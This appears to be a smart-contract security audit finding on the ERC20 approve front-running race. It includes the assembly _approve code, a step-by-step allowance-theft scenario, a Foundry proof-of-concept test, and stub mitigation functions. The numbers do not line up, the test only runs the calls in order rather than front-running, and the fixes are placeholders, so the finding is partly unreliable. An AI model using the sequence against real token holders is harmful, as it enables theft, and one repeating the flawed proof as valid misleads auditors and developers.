[M-1] Approve Function Allows Front-Running Attack Enabling Double Spending of Allowances
Description
function _approve(address owner, address spender, uint256 value) internal virtual returns (bool success) {
assembly ("memory-safe") {
if iszero(owner) {
mstore(0x00, shl(224, 0xe602df05))
mstore(add(0x00, 4), owner)
revert(0x00, 0x24)
}
if iszero(spender) {
mstore(0x00, shl(224, 0x94280d62))
mstore(add(0x00, 4), spender)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let baseSlot := _allowances.slot
mstore(ptr, owner)
mstore(add(ptr, 0x20), baseSlot)
let initialHash := keccak256(ptr, 0x40)
mstore(ptr, spender)
mstore(add(ptr, 0x20), initialHash)
let allowanceSlot := keccak256(ptr, 0x40)
@> sstore(allowanceSlot, value)
success := 1
mstore(0x00, value)
log3(0x00, 0x20, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, owner, spender)
}
}
Risk
Likelihood:
-
User approves Spender for 5000 tokens
-
User later changes approval to 2500 tokens
-
Spender front-runs with transferFrom(5000) - (can watch the pending transactions and issue a transferFrom transaction to move the originally approved 5000 tokens)
-
User's approve(2500) executes
-
Spender can now spend another 2500
-
Total stolen: 7500 instead of 2500
Impact:
Proof of Concept
contract ERC20TokenTest is Test {
Token private token;
address private constant owner = address(0x3);
address private constant spender = address(0x4);
function setUp() public {
token = new Token();
token.mint(owner, 5000);
}
function testFrontrunExploit() public {
uint256 initialAllowance = 1000;
uint256 newAllowance = 500;
vm.prank(owner);
token.approve(spender, initialAllowance);
vm.prank(spender);
token.transferFrom(owner, spender, initialAllowance);
vm.prank(owner);
token.approve(spender, newAllowance);
vm.prank(spender);
token.transferFrom(owner, spender, newAllowance);
uint256 totalStolen = token.balanceOf(spender);
console.log("Total tokens stolen by spender:", totalStolen);
console.log("Total balance left with owner:", token.balanceOf(owner));
}
}
Recommended Mitigation
To prevent front-running vulnerabilities in ERC20 tokens, using the safeApprove, increaseAllowance and decreaseAllowance functions stands out as particularly effective. This approach addresses the core issue of the traditional approve function, which can expose users to front-running attacks during the allowance adjustment period.
+ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
+ ....statement
+}
+function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
+ .... statement
+}
+function safeApprove(address spender, uint256 currentValue, uint256 newValue) public returns (bool) {
+ .... StatemenT
+}